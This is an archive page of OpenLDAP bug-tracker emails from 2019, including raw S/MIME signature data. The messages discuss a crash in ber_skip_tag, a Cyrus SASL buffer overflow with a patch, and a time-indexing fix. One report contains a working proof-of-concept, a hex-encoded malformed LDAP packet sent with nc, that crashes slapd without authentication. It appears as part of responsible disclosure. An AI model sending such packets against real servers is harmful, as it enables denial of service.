by5aiDvNToIkdX4wggZHMIIEL6ADAgECAggs1IrTsR4PiTANBgkqhkiG9w0BAQsFADBrMQsw CQYDVQQGEwJJVDEOMAwGA1UEBwwFTWlsYW4xIzAhBgNVBAoMGkFjdGFsaXMgUy5wLkEuLzAz MzU4NTIwOTY3MScwJQYDVQQDDB5BY3RhbGlzIEF1dGhlbnRpY2F0aW9uIFJvb3QgQ0EwHhcN MTUwNTE0MDcxNDE1WhcNMzAwNTE0MDcxNDE1WjCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgM Bk1pbGFubzEPMA0GA1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1 ODUyMDk2NzEsMCoGA1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVudGljYXRpb24gQ0EgRzEw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDA/MGJVtmI4vQEZb/NCTWrKCkw/gzK 9yerHBHuhj1d5PVsRLYMVzOVl96Iio0tqduTKpPHJ1dn6TGhL3TvWpaxnrNL6nFKpcuz5FO+ d0RpbHmF0dlwo1YbOHLkWI7gZm8aUUicUSJpj504SmONa9J5em9wOmdjDoz0Be4ejgmGMLc/ 84r//lAVefO1NriJTrpGku145OAK2JELBk0rHwQV6qp9Oli98Rvgf3UTuf5jrWObR3YTx8nb AZNpJLCNzydMjYCle6OhzO6RvaQerBoY/erlS551ZydFlzrldSEr9norfYq+tC40/fYX/kzG S8QOcmlSee32IwTG8TOffXMNAgMBAAGjggHVMIIB0TBBBggrBgEFBQcBAQQ1MDMwMQYIKwYB BQUHMAGGJWh0dHA6Ly9vY3NwMDUuYWN0YWxpcy5pdC9WQS9BVVRILVJPT1QwHQYDVR0OBBYE FH5g/Phspz09166ToXkCj7N0KTv1MA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiI OsifeGbtifN7OHCUyQICNtAwRQYDVR0gBD4wPDA6BgRVHSAAMDIwMAYIKwYBBQUHAgEWJGh0 dHBzOi8vd3d3LmFjdGFsaXMuaXQvYXJlYS1kb3dubG9hZDCB4wYDVR0fBIHbMIHYMIGWoIGT oIGQhoGNbGRhcDovL2xkYXAwNS5hY3RhbGlzLml0L2NuJTNkQWN0YWxpcyUyMEF1dGhlbnRp Y2F0aW9uJTIwUm9vdCUyMENBLG8lM2RBY3RhbGlzJTIwUy5wLkEuJTJmMDMzNTg1MjA5Njcs YyUzZElUP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q7YmluYXJ5MD2gO6A5hjdodHRwOi8v Y3JsMDUuYWN0YWxpcy5pdC9SZXBvc2l0b3J5L0FVVEgtUk9PVC9nZXRMYXN0Q1JMMA4GA1Ud DwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEATZPO1SS+QRtKFlhzX2WJ8tl6PliMvMvE D+VbFmeywUukM/JJ/Myad3PcXTpLnWW3AN75uVPByl3NSXczZqUofds6vznmS71Gvq553Jr4 cZBRPQ6GoOjYrYIAT2cFx8A3GJ+N9PxfMKgLdy1/27HeiDVa4TxZNwtkqAIy41EGYm170LhS DTDeJeo/Orwq5FGhs0qp10+OTcSIr5AD4QUIKRrXE4uH/tw8ZMkw21rX/S7mguJdo4Ad4Au3 +ep5naRn6WLMryhO/iKflq8h/d6Vregvq+vClNxrtNnFNf3R7zTl1lA3ipFU909usGVa02jM ftJ0t4utyg3yXYRc7rX3QYAlh3KdNzYToTKstUZwMpRf3VWYJJGuoSmlntbTlNtZEuLr7A+M DOZOrZdKYp9qOruO5MqCSTDsUUkHKLFrQ11Jmix1BvdWQuobwQ5g5qZkuof6/u5rT66WDsU6 +IVt5nthH15E7zU7wULW4uC62XIYPb4YuOBCey+d4Oxs0BZ+SivL6qoDG9XNfk9JpCnaknnY BogfUw3WLb+B5FI/zdNEysWTC4gzMOFfEoVC+myk1zX29xOvLOO3A/jGrRY1LhhY9LhT72Zb 5TQKCeyDH18yIk1st+V/mpJvnePcAYeeMr+onM9rf3AVNctcHrjwXfDVB/1Ht5l5NEl8JBj9 8lQxggP2MIID8gIBATCBlzCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0G A1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoG A1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVudGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W 2P8IBRUwDQYJYIZIAWUDBAIBBQCgggIvMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJ KoZIhvcNAQkFMQ8XDTE5MTEyOTE0MTAwN1owLwYJKoZIhvcNAQkEMSIEIDrSxJxDsDDfl2Dd xIYYngVgXvUxdrKLkM1iWOnau/l4MGwGCSqGSIb3DQEJDzFfMF0wCwYJYIZIAWUDBAEqMAsG CWCGSAFlAwQBAjAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAw BwYFKw4DAgcwDQYIKoZIhvcNAwICASgwgagGCSsGAQQBgjcQBDGBmjCBlzCBgjELMAkGA1UE BhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0GA1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3Rh bGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoGA1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVu dGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W2P8IBRUwgaoGCyqGSIb3DQEJEAILMYGaoIGX MIGCMQswCQYDVQQGEwJJVDEPMA0GA1UECAwGTWlsYW5vMQ8wDQYDVQQHDAZNaWxhbm8xIzAh BgNVBAoMGkFjdGFsaXMgUy5wLkEuLzAzMzU4NTIwOTY3MSwwKgYDVQQDDCNBY3RhbGlzIENs aWVudCBBdXRoZW50aWNhdGlvbiBDQSBHMQIQXKpTmLFIqV4YH1bY/wgFFTANBgkqhkiG9w0B AQEFAASCAQA9zDrxcLY4Ki274n/uD+urTRlasoNsnPmLUzyOVtR+ieq0ucB4w+cx+an6hFbT u6hnr40a88cUfyw4em6KKk5rXfsMM/fPJs1na9KPlnS1Dw9+HpSOERVavlJ1N/Vut9uqpqxc vXLgSdYB5LR1QF2PzAm7SLIWt5gIMjSvAJboWmt9/Dgc+cccbcyt5Th5wFcH5wHXt4xOSUQY e3aWRJGwTXv4WCqeSXE1zzOlQvJNamaD70U21MX6Lb3Nk4mqJ33G388kJfu6lIr7VhDQGl0f muENH+M5tPH0QzBRq1E6SmvcDh4iB4AlIMj4yWE/Uxl83QZ0XpJt3GpDdtJmsffKAAAAAAAA --------------ms020107020804030202050609--

1 0

Re: (ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by ondra＠mistotebe.net 29 Nov '19

29 Nov '19

On Fri, Nov 29, 2019 at 09:08:15AM +0000, stephan(a)srlabs.de wrote: > Unauthenticated remote denial-of-service through malformed ldap packet > caused by a null pointer dereference in ber_skip_tag function > (libraries/liblber/decode.c). > > ==4066091== by 0x4FD051: cancel_extop (cancel.c:52) Hi Stephan, thanks for the report, this should be fixed by commit 1dbf0e9441def3d6dbc0fa8fba3c2e86fa50fa19 in master. Looks like you are fuzzing the server which has been on my to do list for a while, many thanks for that and I'm looking forward to reading how you did it. Would you be willing to help the project integrate your work in its testing process after you've finished? Thanks, -- Ondřej Kuzník Senior Software Engineer Symas Corporation http://www.symas.com Packaged, certified, and supported LDAP solutions powered by OpenLDAP

1 0

(ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by stephan＠srlabs.de 29 Nov '19

29 Nov '19

Full_Name: Stephan Zeisberg Version: 2.4.48 OS: Fedora 31 (kernel 5.3.11-300.fc31.x86_64) URL: Submission from: (NULL) (217.228.59.1) # Issue description Unauthenticated remote denial-of-service through malformed ldap packet caused by a null pointer dereference in ber_skip_tag function (libraries/liblber/decode.c). # Version openldap-2.4.48.tgz # How to reproduce ## Compile $ tar xzvf openldap-2.4.48.tgz $ cd openldap-2.4.48 $ ./configure --prefix=/tmp/openldap $ make depend $ make $ make install $ cd /tmp/openldap ## Start server $ ./libexec/slapd -d 1 -h ldap://127.0.0.1:9091 ## Create PoC crash file $ echo -n "3084000000b902022da277072d0b312e332e362e312e312e38810038303132353339313934303339cb36352e2e2e2e2e2e2e2ec8a6134cba3e07b6bc691e2e79a9a3f6d0bb7b5d789a8be1058da4a448206401aadcc21bc939ba86a2f30c64f585b9e65fafb0a10d8427736b1bc0422868aa1fda601953d87aa638228bc4ae2dc2f85be810f282847bcab689fb75755eed809d8e284b647ee3c76b52bd6e309d4fa7a2437cf195f6682b4bd303d2de1654160613adb2744b9632515871278b01671ca5a8faf18f736964d34f8da5d40370ec68f2b68b47fe1f2b6d1a04359f54ad827ae21963768ef1f854e03f173e1f57c1b04c5b3dd2a736bb6ea159e5000000000000000272af3a4164acbf51b0b27c7d1ed9ce4b52b0a6b0a4d678fecd8112dd6c4d00" | xxd -r -p > ldap.crash ## Execute PoC (may need to be executed multiple times) $ nc 127.0.0.1 9091 < ldap.crash # Valgrind + UBSAN 5de0ddc3 connection_read(12): checking for input on id=1000 ber_get_next ber_scanf fmt ({i}) ber: ==4066091== Thread 3: ==4066091== Invalid read of size 1 ==4066091== at 0x63E1DF: ber_skip_tag (decode.c:256) ==4066091== by 0x63F7A8: ber_scanf (decode.c:865) ==4066091== by 0x4FD051: cancel_extop (cancel.c:52) ==4066091== by 0x4BE530: fe_extended (extended.c:222) ==4066091== by 0x4BE36B: do_extended (extended.c:177) ==4066091== by 0x472CA7: connection_operation (connection.c:1158) ==4066091== by 0x471331: connection_read_thread (connection.c:1294) ==4066091== by 0x5FEE79: ldap_int_thread_pool_wrapper (tpool.c:696) ==4066091== by 0xCA384E1: start_thread (in /usr/lib64/libpthread-2.30.so) ==4066091== by 0xCCC6692: clone (in /usr/lib64/libc-2.30.so) ==4066091== Address 0x0 is not stack'd, malloc'd or (recently) free'd ==4066091== UndefinedBehaviorSanitizer5de0ddc3 ber_get_next on fd 12 failed errno=0 (Success) :DEADLYSIGNAL ==4066091==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000063e1df bp 0x00004ee77660 sp 0x00004ee77640 T4066125) ==4066091==The signal is caused by a READ memory access. ==4066091==Hint: address points to the zero page. ==4066129== Warning: invalid file descriptor 1024 in syscall close() #0 0x63e1de in ber_skip_tag /tmp/openldap-2.4.48/libraries/liblber/decode.c:255:15 #1 0x63f7a8 in ber_scanf /tmp/openldap-2.4.48/libraries/liblber/decode.c:865:10 #2 0x4fd051 in cancel_extop /tmp/openldap-2.4.48/servers/slapd/cancel.c:52:7 #3 0x4be530 in fe_extended /tmp/openldap-2.4.48/servers/slapd/extended.c:222:16 #4 0x4be36b in do_extended /tmp/openldap-2.4.48/servers/slapd/extended.c:177:15 #5 0x472ca7 in connection_operation /tmp/openldap-2.4.48/servers/slapd/connection.c:1158:7 #6 0x471331 in connection_read_thread /tmp/openldap-2.4.48/servers/slapd/connection.c:1294:14 #7 0x5fee79 in ldap_int_thread_pool_wrapper /tmp/openldap-2.4.48/libraries/libldap_r/tpool.c:696:3 #8 0xca384e1 in start_thread (/lib64/libpthread.so.0+0x94e1) #9 0xccc6692 in clone (/lib64/libc.so.6+0x101692) UndefinedBehaviorSanitizer can not provide additional info. Please let me know what additional information I can provide to successfully reproduce the issue. Note: I have also tested and reproduced the issue using the precompiled package from the Fedora repositories: openldap-servers-2.4.47-3.fc31.x86_64 (OpenLDAP: slapd 2.4.47 (Jul 25 2019 00:00:00)) -Stephan Zeisberg

1 0

Re: (ITS#9120) Searches including generalizedTime attributes with index
by hyc＠symas.com 28 Nov '19

28 Nov '19

Howard Chu wrote: > Howard Chu wrote: >> markus.widmer(a)daasi.de wrote: > >>> We could reproduce this with 2.4.42, 2.4.44 and 2.4.48. We hope you can >>> reproduce this as well to see what is happening here. >> >> Yes, can reproduce this. The function that converts a component-wise time >> into a timet is referencing time since 1970. The date in 1956 would yield a >> negative timet value but the fields are unsigned ints, so instead it's treated >> as 17,000 years in the future. We can probably change this to handle signed >> timestamps but need to consider this further. >> > I believe the best way forward would be to allow signed values, and also to switch > our epoch reference from 1970-01-01 to 0000-01-01 (i.e., use Gregorian Proleptic calendar). > Year zero would be 1 BCE in this calendar, and anything earlier would be a negative year. > > Changing these functions will require regenerating any indices. Looks like something > we'll rewrite for 2.5 but leave 2.4 alone. Fixed in git master commit 97c145919d8c702003b9cd8bac0e01083d3ab9a1 The time is now calculated with signed years, but the result is still returned as an unsigned value (with negative years properly sorting as less than positive years). Note that the slapd schema validator still rejects negative years at the moment. Will need to look further at that later. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9123) Unauthenticated remote denial-of-service
by stephan＠srlabs.de 28 Nov '19

28 Nov '19

--------------ms050304040807030706080402 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Content-Language: en-US Created an issue upstream [1] and included the valgrind output and propos= ed patch. [1] https://github.com/cyrusimap/cyrus-sasl/issues/587 =C2=A0=C2=A0=C2=A0 -Stephan On 11/28/19 4:16 PM, Howard Chu wrote: > 5ddfddde do_bind: dn () SASL mech <garbage> > 5ddfddde =3D=3D> sasl_bind: dn=3D"" mech=3D<garbage> > datalen=3D0 > =3D=3D11019=3D=3D Thread 3: > =3D=3D11019=3D=3D Invalid write of size 1 > =3D=3D11019=3D=3D at 0x4B9B1DB: sasl_seterror (seterror.c:247) > =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) > =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) > =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) > =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) > =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:11= 85) > =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c:= 1342) > =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c= :1048) > =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479) > =3D=3D11019=3D=3D by 0x4EFA322: clone (clone.S:95) > =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size 6= 00 alloc'd > =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gn= u/valgrind/vgpreload_memcheck-amd64-linux.so) > =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) > =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) > =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) > =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) > =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) > =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) > =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) > =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:11= 85) > =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c:= 1342) > =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c= :1048) > =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479) > =3D=3D11019=3D=3D > =3D=3D11019=3D=3D Invalid read of size 1 > =3D=3D11019=3D=3D at 0x483DF54: strlen (in /usr/lib/x86_64-linux-gnu= /valgrind/vgpreload_memcheck-amd64-linux.so) > =3D=3D11019=3D=3D by 0x4E53DE4: __vfprintf_internal (vfprintf-intern= al.c:1688) > =3D=3D11019=3D=3D by 0x4E67029: __vsnprintf_internal (vsnprintf.c:11= 4) > =3D=3D11019=3D=3D by 0x3A1FFA: lutil_debug (debug.c:74) > =3D=3D11019=3D=3D by 0x266FF3: slap_sasl_log (sasl.c:146) > =3D=3D11019=3D=3D by 0x4B9B4CF: sasl_seterror (seterror.c:260) > =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) > =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) > =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) > =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) > =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:11= 85) > =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c:= 1342) > =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size 6= 00 alloc'd > =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gn= u/valgrind/vgpreload_memcheck-amd64-linux.so) > =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) > =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) > =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) > =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) > =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) > =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) > =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) > =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:11= 85) > =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c:= 1342) > =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c= :1048) > =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479) --------------ms050304040807030706080402 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCC C5owggVLMIIEM6ADAgECAhBcqlOYsUipXhgfVtj/CAUVMA0GCSqGSIb3DQEBCwUAMIGCMQsw CQYDVQQGEwJJVDEPMA0GA1UECAwGTWlsYW5vMQ8wDQYDVQQHDAZNaWxhbm8xIzAhBgNVBAoM GkFjdGFsaXMgUy5wLkEuLzAzMzU4NTIwOTY3MSwwKgYDVQQDDCNBY3RhbGlzIENsaWVudCBB dXRoZW50aWNhdGlvbiBDQSBHMTAeFw0xOTA1MjQwODA3MTdaFw0yMDA1MjQwODA3MTdaMBwx GjAYBgNVBAMMEXN0ZXBoYW5Ac3JsYWJzLmRlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAmniYbaUHSdjBF3/m+2PVN14GEGxOSwHtd8WxH9mUXKEIW4XuImwNz8AoGfFOHc4D A1Tc/an6lONwAeBgj541N7aKSTxRphKnrJrpJarbUR2FM7u7Km7btUTBT9mm6OmympB+vWKa GkjQo2Gr3GRSfVDNLP/n70H8uthbgwPLuBfBt/dLHFrvYBpPtnH2EQqKc1SELSUPAuo9zaO/ ohwPb7Sss3vMOOtePGL0lcHjWCbdsstZ/DUzek9MQ6F+PkGYee3JSzvyXvrADheqUPHtYPd2 LPu6hZKbAGjoqRYHVbwITZIzu7QWB4YEXFCdMT6XIde5lvA0zR7hhb63HKUVewIDAQABo4IC IDCCAhwwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBR+YPz4bKc9Pdeuk6F5Ao+zdCk79TBL BggrBgEFBQcBAQQ/MD0wOwYIKwYBBQUHMAKGL2h0dHA6Ly9jYWNlcnQuYWN0YWxpcy5pdC9j ZXJ0cy9hY3RhbGlzLWF1dGNsaWcxMBwGA1UdEQQVMBOBEXN0ZXBoYW5Ac3JsYWJzLmRlMEcG A1UdIARAMD4wPAYGK4EfARgBMDIwMAYIKwYBBQUHAgEWJGh0dHBzOi8vd3d3LmFjdGFsaXMu aXQvYXJlYS1kb3dubG9hZDAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwQwgegGA1Ud HwSB4DCB3TCBm6CBmKCBlYaBkmxkYXA6Ly9sZGFwMDUuYWN0YWxpcy5pdC9jbiUzZEFjdGFs aXMlMjBDbGllbnQlMjBBdXRoZW50aWNhdGlvbiUyMENBJTIwRzEsbyUzZEFjdGFsaXMlMjBT LnAuQS4vMDMzNTg1MjA5NjcsYyUzZElUP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q7Ymlu YXJ5MD2gO6A5hjdodHRwOi8vY3JsMDUuYWN0YWxpcy5pdC9SZXBvc2l0b3J5L0FVVEhDTC1H MS9nZXRMYXN0Q1JMMB0GA1UdDgQWBBSM25yar8W0HyQ52pQLvwam2PQI1zAOBgNVHQ8BAf8E BAMCBaAwDQYJKoZIhvcNAQELBQADggEBADvK449WtB/GFtNr0TNrTnaNbtSuPz5poGt7nyUb neGYazzxvjBPI0a0A+h/++rHcAuYrCNP+/M0PWU3Jv4IDf6YwHGRQdXN4f9xhCtmBnFtfQ22 9anlEBvLZv5uEQSzZ6qhvZkqnq9WQ/ofb9q2GGwPfKa+QM4T8QFv5ZmogdXriH3gf4gJ1fbW 7Ig33y+xYXr8W4lQ3haAShGzV/FleypHafb/3ptGWNq3+diGKPxNpyU1BMq904OPAEBMCa5i 8+8kYsT8ug+t2uSqboWrutgr/y4bYxBrY56cdfgnLBqoHPEBkg8ONHMgiULphoOelPbOjHD0 by5aiDvNToIkdX4wggZHMIIEL6ADAgECAggs1IrTsR4PiTANBgkqhkiG9w0BAQsFADBrMQsw CQYDVQQGEwJJVDEOMAwGA1UEBwwFTWlsYW4xIzAhBgNVBAoMGkFjdGFsaXMgUy5wLkEuLzAz MzU4NTIwOTY3MScwJQYDVQQDDB5BY3RhbGlzIEF1dGhlbnRpY2F0aW9uIFJvb3QgQ0EwHhcN MTUwNTE0MDcxNDE1WhcNMzAwNTE0MDcxNDE1WjCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgM Bk1pbGFubzEPMA0GA1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1 ODUyMDk2NzEsMCoGA1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVudGljYXRpb24gQ0EgRzEw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDA/MGJVtmI4vQEZb/NCTWrKCkw/gzK 9yerHBHuhj1d5PVsRLYMVzOVl96Iio0tqduTKpPHJ1dn6TGhL3TvWpaxnrNL6nFKpcuz5FO+ d0RpbHmF0dlwo1YbOHLkWI7gZm8aUUicUSJpj504SmONa9J5em9wOmdjDoz0Be4ejgmGMLc/ 84r//lAVefO1NriJTrpGku145OAK2JELBk0rHwQV6qp9Oli98Rvgf3UTuf5jrWObR3YTx8nb AZNpJLCNzydMjYCle6OhzO6RvaQerBoY/erlS551ZydFlzrldSEr9norfYq+tC40/fYX/kzG S8QOcmlSee32IwTG8TOffXMNAgMBAAGjggHVMIIB0TBBBggrBgEFBQcBAQQ1MDMwMQYIKwYB BQUHMAGGJWh0dHA6Ly9vY3NwMDUuYWN0YWxpcy5pdC9WQS9BVVRILVJPT1QwHQYDVR0OBBYE FH5g/Phspz09166ToXkCj7N0KTv1MA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiI OsifeGbtifN7OHCUyQICNtAwRQYDVR0gBD4wPDA6BgRVHSAAMDIwMAYIKwYBBQUHAgEWJGh0 dHBzOi8vd3d3LmFjdGFsaXMuaXQvYXJlYS1kb3dubG9hZDCB4wYDVR0fBIHbMIHYMIGWoIGT oIGQhoGNbGRhcDovL2xkYXAwNS5hY3RhbGlzLml0L2NuJTNkQWN0YWxpcyUyMEF1dGhlbnRp Y2F0aW9uJTIwUm9vdCUyMENBLG8lM2RBY3RhbGlzJTIwUy5wLkEuJTJmMDMzNTg1MjA5Njcs YyUzZElUP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q7YmluYXJ5MD2gO6A5hjdodHRwOi8v Y3JsMDUuYWN0YWxpcy5pdC9SZXBvc2l0b3J5L0FVVEgtUk9PVC9nZXRMYXN0Q1JMMA4GA1Ud DwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEATZPO1SS+QRtKFlhzX2WJ8tl6PliMvMvE D+VbFmeywUukM/JJ/Myad3PcXTpLnWW3AN75uVPByl3NSXczZqUofds6vznmS71Gvq553Jr4 cZBRPQ6GoOjYrYIAT2cFx8A3GJ+N9PxfMKgLdy1/27HeiDVa4TxZNwtkqAIy41EGYm170LhS DTDeJeo/Orwq5FGhs0qp10+OTcSIr5AD4QUIKRrXE4uH/tw8ZMkw21rX/S7mguJdo4Ad4Au3 +ep5naRn6WLMryhO/iKflq8h/d6Vregvq+vClNxrtNnFNf3R7zTl1lA3ipFU909usGVa02jM ftJ0t4utyg3yXYRc7rX3QYAlh3KdNzYToTKstUZwMpRf3VWYJJGuoSmlntbTlNtZEuLr7A+M DOZOrZdKYp9qOruO5MqCSTDsUUkHKLFrQ11Jmix1BvdWQuobwQ5g5qZkuof6/u5rT66WDsU6 +IVt5nthH15E7zU7wULW4uC62XIYPb4YuOBCey+d4Oxs0BZ+SivL6qoDG9XNfk9JpCnaknnY BogfUw3WLb+B5FI/zdNEysWTC4gzMOFfEoVC+myk1zX29xOvLOO3A/jGrRY1LhhY9LhT72Zb 5TQKCeyDH18yIk1st+V/mpJvnePcAYeeMr+onM9rf3AVNctcHrjwXfDVB/1Ht5l5NEl8JBj9 8lQxggP2MIID8gIBATCBlzCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0G A1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoG A1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVudGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W 2P8IBRUwDQYJYIZIAWUDBAIBBQCgggIvMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJ KoZIhvcNAQkFMQ8XDTE5MTEyODE1MzkyM1owLwYJKoZIhvcNAQkEMSIEILb+contXMUwSpoY +bjTpOSSD1JRO5NsTR8vITqUHRb3MGwGCSqGSIb3DQEJDzFfMF0wCwYJYIZIAWUDBAEqMAsG CWCGSAFlAwQBAjAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAw BwYFKw4DAgcwDQYIKoZIhvcNAwICASgwgagGCSsGAQQBgjcQBDGBmjCBlzCBgjELMAkGA1UE BhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0GA1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3Rh bGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoGA1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVu dGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W2P8IBRUwgaoGCyqGSIb3DQEJEAILMYGaoIGX MIGCMQswCQYDVQQGEwJJVDEPMA0GA1UECAwGTWlsYW5vMQ8wDQYDVQQHDAZNaWxhbm8xIzAh BgNVBAoMGkFjdGFsaXMgUy5wLkEuLzAzMzU4NTIwOTY3MSwwKgYDVQQDDCNBY3RhbGlzIENs aWVudCBBdXRoZW50aWNhdGlvbiBDQSBHMQIQXKpTmLFIqV4YH1bY/wgFFTANBgkqhkiG9w0B AQEFAASCAQAjwtYcwMK6NjmGAw3mFwZ4wvD5eQPXdnRQM2NYYUHmd+VgkhX9PB5wLwg3ZphB KYhlweOqcRkcUUkD/uYR5+UpDN0DHRmSYCYwGyP2rdQ5xWkZ50BAj7wch5D9dFWAafUTMYl0 Zkvoloxv1fslTaEUdMZfxhLa4enf3Jt8IQUaVArKTcwrrLnrOAh4zfT4oKqVMyyMpz5r0mum l8u3HNDYpMUZV0v0UEB/nCodv5o3NucL1cJph7snGCYX55OeYX6OvkwV0uOwDHiCwLKxN4BY T3h4HXNRf4tXPLNngnByOznQ11xRvYIANBehYr45Q+3S5O6vW+MORqqI8x0sRHCaAAAAAAAA --------------ms050304040807030706080402--

1 0

Re: (ITS#9123) Unauthenticated remote denial-of-service
by hyc＠symas.com 28 Nov '19

28 Nov '19

Stephan Zeisberg wrote: > Hi Howard =E2=80=94 >=20 > Thanks for the quick reply. Will forward the report upstream to Cyrus S= ASL. For reference, this fixes the bug: vielle:/home/software/cyrus-sasl> git diff diff --git a/lib/common.c b/lib/common.c index bc3bf1df..9969d6aa 100644 --- a/lib/common.c +++ b/lib/common.c @@ -190,7 +190,7 @@ int _sasl_add_string(char **out, size_t *alloclen, if (add=3D=3DNULL) add =3D "(null)"; - addlen=3Dstrlen(add); /* only compute once */ + addlen=3Dstrlen(add)+1; /* only compute once */ if (_buf_alloc(out, alloclen, (*outlen)+addlen)!=3DSASL_OK) return SASL_NOMEM; Git history shows this bug has existed since the code was originally writ= ten in ommit 061698456069833e244d66ce33c8f82c2cd63ce3 Author: Rob Siemborski <rjs3(a)andrew.cmu.edu> Date: Tue Dec 4 01:59:43 2001 +0000 >=20 > Best >=20 > =C2=A0=C2=A0=C2=A0 -Stephan >=20 > On 11/28/19 3:54 PM, Howard Chu wrote: >> Resending with the non-printable chars omitted: >> >> Howard Chu wrote: >>> Thanks, but your trace clearly shows that this is a fault in Cyrus SA= SL, you should be reporting >>> 